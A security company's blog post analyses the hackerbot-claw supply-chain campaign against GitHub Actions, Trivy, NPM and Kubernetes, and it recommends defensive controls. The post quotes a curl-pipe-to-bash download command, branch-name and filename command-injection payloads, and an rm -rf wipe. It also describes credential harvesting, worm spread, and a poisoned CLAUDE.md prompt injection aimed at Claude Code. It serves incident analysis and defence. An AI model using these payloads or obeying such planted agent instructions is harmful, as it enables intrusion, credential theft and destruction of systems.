Back to all blogs

ClawBot's GitHub Actions Attack: Supply Chain Worm, Kubernetes Wiper, and What AI Pipelines Need to Do Now

ClawBot's GitHub Actions Attack: Supply Chain Worm, Kubernetes Wiper, and What AI Pipelines Need to Do Now

Saish Bhorpe

Saish Bhorpe

|

AI Security Researcher

AI Security Researcher

|

14 min read

ClawBot's GitHub Actions Attack: Supply Chain Worm, Kubernetes Wiper, and What AI Pipelines Need to Do Now
Repello tech background with grid pattern symbolizing AI security

TL;DR: Between February 21 and March 2, 2026, a threat actor called TeamPCP ran a nine-phase automated campaign under the GitHub account hackerbot-claw, targeting public repositories belonging to Microsoft, DataDog, CNCF, and major open-source projects. The campaign achieved remote code execution in 5 of 7 targets using five distinct GitHub Actions exploitation techniques, poisoned 75 of 76 trivy-action release tags via force-push with cloned commit metadata, pushed a malicious artifact to the Trivy VS Code extension embedding a 2,000-word AI agent manipulation prompt, planted an NPM worm that spreads through developer package ownership, and deployed a geofenced Kubernetes wiper that destroys infrastructure in Iran while installing a persistent systemd backdoor everywhere else. Every AI team running training, evaluation, or deployment pipelines through GitHub Actions sits on the same attack surface.

StepSecurity's research team documented the GitHub Actions phase of the campaign, published March 1, 2026. What follows draws on that analysis combined with a technical video teardown (YouTube: BKatZyU7svI) of the campaign's later phases. The full picture is significantly more complex than the GitHub Actions story alone.

The account hackerbot-claw describes itself as "an autonomous security research agent powered by claude-opus-4-5." It is not a weekend project. The operator, identified as TeamPCP from metadata analysis, appears to be a single-person operation running what amounts to a structured nine-phase attack campaign with distinct objectives at each stage.

The primary targets across the GitHub Actions phase: microsoft/ai-discovery-agent, DataDog/datadog-iac-scanner, avelino/awesome-go (140k+ GitHub stars), ambient-code/platform, project-akri/akri (a CNCF project), aquasecurity/trivy, and RustPython/RustPython (20k+ stars). Every attack delivered the same first-stage payload: curl -sSfL hackmoltrepeat.com/molt | bash. What varied was the injection technique.

Nine phases, one operator

The campaign did not stop at CI/CD exploitation. Mapping the full attack chain:

Phase 1: GitHub Actions reconnaissance using a 9-class, 47-sub-pattern vulnerability index to identify misconfigured workflows across public repositories.

Phase 2: Exploitation of identified misconfigurations to achieve code execution, steal credentials, and use those credentials for supply chain poisoning of aquasecurity/trivy and its VS Code extension.

Phase 3: NPM ecosystem worm deployment through stolen .npmrc tokens.

Phase 4: Kubernetes infrastructure attack via stolen cloud credentials, with geofenced behavior dependent on detected locale.

Phase 5: Command and control infrastructure on the ICP (Internet Computer Protocol) blockchain, resistant to domain takedowns.

Phases 6 through 9 involved persistence, lateral movement, and continued reconnaissance using the credentials and footholds obtained in earlier phases.

The musical payload progression embedded in the campaign tracks the operator's development arc: early payloads played Rick Astley's "Never Gonna Give You Up." Mid-campaign payloads switched to Dido's "White Flag." Later payloads embedded malware inside .wav files. The most recent phase substituted King Gizzard and the Lizard Wizard. The musical choices are theatrical; the infrastructure underneath them is not.

Five exploitation techniques across seven repositories

hackerbot-claw loaded its vulnerability index, then autonomously scanned, verified, and dropped proof-of-concept exploits. Across 7 targets it used 5 distinct techniques:

Pull_request_target Pwn Request. The classic misconfiguration: a workflow triggered on pull_request_target gives the workflow access to repository secrets, and the workflow also checks out and executes untrusted fork code. In avelino/awesome-go, the bot injected a Go init() function into a quality-check script. In Go, init() runs before main(), so the malicious code ran automatically during the workflow's legitimate check step. The stolen GITHUB_TOKEN with contents: write and pull-requests: write permissions was exfiltrated to recv.hackmoltrepeat.com.

Direct script injection. In project-akri/akri, the bot modified a shell script to prepend curl -sSfL https://hackmoltrepeat.com/molt | bash immediately after the shebang line. The workflow had no authorization check, so any GitHub user could trigger it by commenting /version minor on any pull request.

Branch name injection. In microsoft/ai-discovery-agent, the payload was embedded in the git branch name itself: dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash). When the workflow wrote the branch name into a shell command via an unescaped ${{ }} expression, bash evaluated the command substitution and executed the payload. The step that should have taken milliseconds took 2 minutes 38 seconds.

Filename injection. In DataDog/datadog-iac-scanner, the attacker created files with names containing Base64-encoded shell commands: $(echo${IFS}Y3VybCAt...${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).md. The workflow passed filenames into a shell loop via ${{ }} expression interpolation without sanitization. DataDog deployed emergency fixes within 9 hours.

AI prompt injection. In ambient-code/platform, hackerbot-claw replaced the repository's CLAUDE.md file with social engineering instructions designed to make Claude Code commit unauthorized changes and post a fake approval comment. This is covered in detail below.

The Trivy supply chain operation

The most damaging attack in the campaign targeted aquasecurity/trivy, one of the most widely deployed open-source vulnerability scanners in production. The initial vector was a pull_request_target workflow misconfiguration. A one-line change to .github/actions/setup-go/action.yaml injected the payload into the Go setup step. Because the workflow used pull_request_target, the fork's modified file was checked out and executed with the repository's secrets.

Nineteen minutes after the workflow ran, the stolen Personal Access Token was active. What followed was not a simple credential abuse. The attacker used the PAT to execute a coordinated supply chain operation across two vectors:

Release tag poisoning. Of the 76 release tags in the trivy-action repository, 75 were force-pushed with attacker-controlled content. The attack used cloned commit metadata, copying legitimate author names, commit messages, and timestamps from the original commits. A developer checking git log would see authentic-looking history. The only functional difference was that every affected tag now pointed to code that executed the attacker's payload. The one tag that survived the poisoning was the most recent release, which the attacker apparently left intact to reduce the likelihood of immediate detection.

VS Code extension with embedded AI agent manipulation. The attacker pushed a suspicious artifact to Trivy's VS Code extension on the Open VSX marketplace. The artifact contained a CLAUDE.md file with a 2,000-word malicious prompt. The prompt specifically targeted developers running Claude Code in YOLO mode (the flag that allows the agent to execute actions without confirmation prompts). Any developer who installed the extension and ran Claude Code against a project with YOLO mode enabled would have their agent operating under attacker-controlled instructions.

The exfiltration domain was not hackmoltrepeat.com. For the Trivy operation, the attacker used scan.acqua-security, a typosquatted domain designed to resemble scan.aqua-security (Aqua Security's legitimate infrastructure). The typo is one character: "acqua" versus "aqua." In a build log scan, particularly under time pressure during incident response, this difference is easy to miss.

The 200-line bash script delivered through these vectors harvested: SSH private keys from ~/.ssh/, AWS credentials from ~/.aws/credentials and environment variables, GCP service account tokens, Azure CLI authentication files, Docker Hub auth tokens from ~/.docker/config.json, cryptocurrency wallet files, and .npmrc authentication tokens. The .npmrc tokens fed directly into Phase 3.

Aqua Security confirmed the incident, restored the repository, removed the VS Code extension artifact, and published v0.69.2. Restoring the deleted GitHub Releases and download functionality for affected versions (0.27.0 through 0.69.1) was still in progress at time of writing.

The NPM worm

Stolen .npmrc tokens gave the attacker write access to NPM packages owned by the compromised developers. The worm executed in three steps on each new host it reached:

First, parse .npmrc for authentication tokens. Second, run npm whoami to identify which package namespaces are accessible with those credentials. Third, for each owned package, bump the patch version number, inject the worm code, and republish. The patch version bump is significant: it triggers automatic updates in any project with a ~ or ^ version specifier in package.json, which covers the majority of production JavaScript projects.

The worm does not advertise its presence. It passes through the standard npm install flow without errors. Every downstream project that installs the infected patch version inherits the worm and repeats the credential harvest.

The Kubernetes wiper

Phase 4 used cloud credentials obtained in the initial harvest to access Kubernetes infrastructure. The payload's behavior was geofenced based on locale detection:

If the host's timezone or locale matched IR (Iran) or fa_IR (Persian), the payload executed a full destructive wipe. On Kubernetes nodes, this meant iterating through all running pods and services before terminating them. On standalone Linux hosts, it ran rm -rf / --no-preserve-root. No data recovery is possible after this path executes.

If the host was outside Iran, the behavior was different. Instead of wiping, the payload installed a systemd service for persistent backdoor access, then began subnet scanning. It identified adjacent hosts accessible via SSH or exposed Docker APIs and repeated the infection process on each one it could reach. The non-Iranian path is designed for persistence and lateral movement. The Iranian path is designed for destruction.

The blockchain C2 infrastructure used ICP (Internet Computer Protocol), a decentralized compute platform that hosts code on-chain rather than on conventional servers. Domain-based C2 can be taken down by registrars or hosting providers. ICP-hosted C2 has no single point that conventional incident response can target for takedown.

When the attacker targeted Claude

Attack 5 in the campaign is the one AI security teams need to read carefully. hackerbot-claw replaced the CLAUDE.md file in ambient-code/platform with instructions asking Claude Code to inject an HTML comment into README.md, commit the change, and post a fake approval comment. The workflow used pull_request_target, checked out the fork's code including the poisoned CLAUDE.md, then ran Claude Code with contents: write permissions and CLAUDE_CODE_OAUTH_TOKEN access.

Claude (running claude-sonnet-4-6) opened its review with an immediate security warning, declined to execute any of the injected instructions, classified the attack as a textbook AI agent supply chain attack via poisoned project-level instructions, and assessed the blast radius if the PR were merged to main.

On a second, more subtle attempt, Claude's internal reasoning preserved in the GitHub Actions job summary was explicit: it recognized that the CLAUDE.md in its context was the malicious version from the PR, identified it as a prompt injection attempt, and stated it would not follow the injected instructions.

The attack failed on two independent layers. First, Claude identified and refused the injected instructions. Second, the workflow's tool allowlisting restricted Claude to gh pr comment, gh pr diff, gh pr view, and gh issue list only. Even a manipulated agent could not write files or push commits.

The VS Code extension variant is the more dangerous version of this same technique. A developer running Claude Code in YOLO mode against a project that pulled in the infected Trivy extension would not have the tool restriction layer in place. The 2,000-word prompt in the extension had far more space to work with than a short CLAUDE.md replacement, and it was designed for a context where the agent executes without confirmation.

AI prompt injection in agentic workflows is no longer a theoretical threat class. hackerbot-claw deployed it against live production workflows, both in a CI/CD context and via a poisoned IDE extension, as part of an automated multi-phase campaign.

Why AI pipelines face the same exposure

The pull_request_target misconfiguration that hackerbot-claw exploited across multiple targets is common in AI repositories for straightforward reasons. AI teams set up automated evaluation workflows that run on every PR, check out contributor code, and execute it against benchmark datasets. Those workflows need elevated permissions to push results, update model cards, and write to registries. The combination of pull_request_target, actions/checkout at the PR head ref, and broad GITHUB_TOKEN permissions is exactly the pattern the campaign targeted.

microsoft/ai-discovery-agent was compromised through branch name injection. An AI infrastructure repository for discovering and cataloguing enterprise AI assets was hit using a branch name containing $() command substitution. The workflow processed the branch name in an unescaped shell context, and arbitrary code ran inside Microsoft's CI runner.

Repello's earlier analysis of the ClawHavoc supply chain attack documented the same structural vulnerability in the OpenClaw skill ecosystem: trust one component, and the attacker reaches everything downstream. The specific vector changes. The threat model does not. As the OWASP LLM Top 10 documents under LLM03 (Supply Chain), dependency and plugin integrity gaps are a top risk for AI systems in production.

What a successful campaign against an AI pipeline gives an attacker:

  • Training infrastructure credentials: cloud provider keys that reach GPU clusters, dataset storage, and experiment tracking systems

  • Model registry write access: the ability to push a poisoned checkpoint before it reaches production, with no visible change to performance metrics on capability benchmarks

  • Deployment secrets: Kubernetes service account tokens and container registry credentials for AI inference services

  • Data pipeline access: read or write access to S3 buckets or database connections holding training data

  • Developer workstation footholds: IDE extension infections that persist through model updates and affect the entire development environment

"Automated attackers are now operating at a sophistication level previously associated with dedicated threat actors," said the Repello AI Research Team. "A single operator loading a 47-pattern vulnerability index, running it against 7 repositories over 10 days, deploying a worm, a geofenced wiper, and an AI agent manipulation prompt as part of the same campaign is not a script kiddie. AI teams that treat CI/CD security as a DevOps problem and not a security problem are miscategorizing the risk."

Controls that block the attack chain

Pin to commit SHAs, not version tags. The trivy-action tag poisoning worked because release tags are mutable pointers. A commit SHA cannot be force-pushed to point at different code. This is a one-line change in a workflow file. SLSA (Supply-chain Levels for Software Artifacts) at Level 2 requires SHA pinning as a baseline build integrity control. If trivy-action consumers had been pinning to commit SHAs rather than version tags, 75 of 76 poisoned tags would have had no effect.

Audit pull_request_target workflows with Zizmor or Poutine. Zizmor is a static analysis tool for GitHub Actions that identifies injection and privilege escalation risks. Poutine, from Boostsecurity, scans CI/CD configurations for misconfiguration patterns including the pull_request_target + checkout combination. Both are open source and integrate into a standard security pipeline. GitHub's security hardening guide documents the Pwn Request pattern explicitly and recommends author_association checks to restrict workflow triggers to repository collaborators.

Block unauthorized network egress from CI runners. Every attack in the hackerbot-claw campaign required an outbound call: initial payload delivery from hackmoltrepeat.com, token exfiltration to recv.hackmoltrepeat.com, and the Trivy-specific operation to the typosquatted scan.acqua-security. A runner-level network egress allowlist breaks the payload download and the exfiltration in a single control, regardless of whether code execution succeeded. This is the control that cuts the attack chain at the execution stage.

Restrict write access to fine-tuning and model deployment pipelines. If an attacker reaches model registry credentials through a CI/CD compromise, the attack surface extends to production inference. Treat pipeline write access with the same controls applied to a production database: audit trails, approval gates, and least-privilege scoping. Scope GITHUB_TOKEN to the minimum permissions required per workflow step.

Audit IDE extensions and agentic tooling for supply chain risk. The VS Code extension attack is a reminder that developer tooling is part of the attack surface. An infected extension that targets AI coding agents with a 2,000-word manipulation prompt is not a hypothetical. Run security reviews on every IDE extension that has access to repository secrets or agent tool permissions.

How Repello approaches GitHub Actions security for AI pipelines

ARTEMIS, Repello's automated red teaming engine, tests AI pipelines for the exact vulnerability classes hackerbot-claw automated: misconfigured workflow permissions, over-permissioned tokens, and supply chain integrity gaps in CI/CD components. For AI teams running training and deployment through GitHub Actions, ARTEMIS maps the attack paths from workflow misconfiguration through to credential exposure and downstream model registry access. It also runs adversarial probes that simulate the AI agent manipulation techniques used in the VS Code extension attack, including YOLO-mode exploitation scenarios.

ARGUS, Repello's runtime security layer, provides coverage once the pipeline has deployed an AI service. If a pipeline compromise results in a poisoned model artifact reaching production, ARGUS monitors for behavioral anomalies at inference time: unexpected output patterns, anomalous access attempts, and behavioral drift from expected operating parameters. The hackerbot-claw campaign demonstrates that compromise does not stop at the pipeline. The VS Code extension was a vector into developer workstations, and stolen deployment credentials reach production inference services directly.

ARTEMIS tests what the pipeline exposes before attackers reach it. ARGUS monitors what reaches users after it deploys. Neither layer substitutes for the other, because an attacker who gets through the pipeline has already bypassed pre-deployment controls.

Conclusion

TeamPCP ran nine phases across ten days, targeted repositories belonging to Microsoft, DataDog, and CNCF, achieved code execution in 5 of 7 GitHub Actions targets, poisoned 75 of 76 trivy-action release tags, embedded a 2,000-word AI agent manipulation prompt in an IDE extension, planted an NPM worm in the developer ecosystem, and deployed a geofenced Kubernetes wiper. The campaign tried to attack an AI code reviewer directly and failed once, on one of its five exploit techniques.

The attack surface it exploited is the same surface AI teams use for model training, evaluation, and deployment. The techniques it used are documented, automated, and getting more sophisticated. SHA pinning, pull_request_target audits with Zizmor and Poutine, and network egress allowlisting are not new ideas. They are widely unimplemented.

The musical payload progression from Rick Roll to King Gizzard is a detail. The blockchain C2 infrastructure that no registrar can take down is not.

Want to know if your AI pipeline has the workflow misconfigurations hackerbot-claw targets? See how ARTEMIS maps CI/CD attack surfaces for AI infrastructure.

FAQ

What is hackerbot-claw and who is TeamPCP? hackerbot-claw is an autonomous GitHub account attributed to the threat actor TeamPCP. The account describes itself as "an autonomous security research agent powered by claude-opus-4-5." Between February 21 and March 2, 2026, it ran an automated 10-day, nine-phase campaign targeting GitHub Actions workflows in repositories belonging to Microsoft, DataDog, CNCF, and popular open-source projects. Based on metadata analysis, TeamPCP appears to be a single-person operation.

How did hackerbot-claw poison trivy-action release tags without detection? The attacker used force-push to overwrite 75 of 76 release tags in the trivy-action repository with attacker-controlled content. Critically, the attack cloned the original commit metadata: author names, commit messages, and timestamps were copied from the legitimate commits. A developer inspecting git log or the GitHub UI would see authentic-looking history. Only projects pinning to commit SHAs were protected; any project using trivy-action@v0.x.x style version tags was affected.

What was the VS Code extension attack and why does it matter for AI teams? The attacker pushed a malicious artifact to Trivy's VS Code extension on the Open VSX marketplace. The artifact contained a 2,000-word CLAUDE.md file designed to manipulate Claude Code agents running in YOLO mode (which executes actions without per-step confirmation). Any developer who installed the extension and ran Claude Code with YOLO mode enabled would have their agent operating under attacker-controlled instructions. This attack bypasses the tool restriction layers that protected the CI/CD-based Claude attack in ambient-code/platform.

How does the geofenced Kubernetes wiper work? The wiper payload checks the host's timezone or locale at runtime. If it detects IR (Iran) or fa_IR (Persian), it executes a destructive wipe: iterating through and terminating Kubernetes pods and services, or running rm -rf / --no-preserve-root on standalone Linux hosts. Outside Iran, the payload installs a persistent systemd backdoor and begins scanning adjacent hosts via SSH and Docker API for further spread. The two behaviors reflect different objectives: destruction within Iran and persistent access everywhere else.

Why is ICP blockchain C2 more dangerous than traditional domain-based C2? Conventional C2 infrastructure can be disrupted by registrar takedowns, hosting provider abuse reports, or DNS-level blocking. The ICP (Internet Computer Protocol) blockchain hosts code on-chain across a decentralized network with no single takedown point. A registrar cannot suspend an ICP-hosted canister. This gives the attacker persistent, censorship-resistant command and control infrastructure that conventional incident response cannot neutralize through standard means.

What tools can teams use to find these GitHub Actions misconfigurations before attackers do? Zizmor is a static analysis tool for GitHub Actions that identifies injection and privilege escalation risks, including the pull_request_target + unescaped expression patterns hackerbot-claw exploited. Poutine, from Boostsecurity, scans CI/CD pipeline configurations for structural misconfigurations including the Pwn Request pattern. Both are open source. Pinning all GitHub Actions dependencies to commit SHAs rather than mutable version tags eliminates the tag-poisoning attack surface. SLSA Level 2 requires SHA pinning as a baseline build integrity control.

Share this blog

Subscribe to our newsletter

Repello tech background with grid pattern symbolizing AI security
Repello tech background with grid pattern symbolizing AI security
Repello AI logo - Footer

Sign up for Repello updates
Subscribe to our newsletter to receive the latest insights on AI security, red teaming research, and product updates in your inbox.

Subscribe to our newsletter

8 The Green, Ste A
Dover, DE 19901, United States of America

Follow us on:

LinkedIn icon
X icon, Twitter icon
Github icon
Youtube icon

© Repello Inc. All rights reserved.

Repello tech background with grid pattern symbolizing AI security
Repello AI logo - Footer

Sign up for Repello updates
Subscribe to our newsletter to receive the latest insights on AI security, red teaming research, and product updates in your inbox.

Subscribe to our newsletter

8 The Green, Ste A
Dover, DE 19901, United States of America

Follow us on:

LinkedIn icon
X icon, Twitter icon
Github icon
Youtube icon

© Repello Inc. All rights reserved.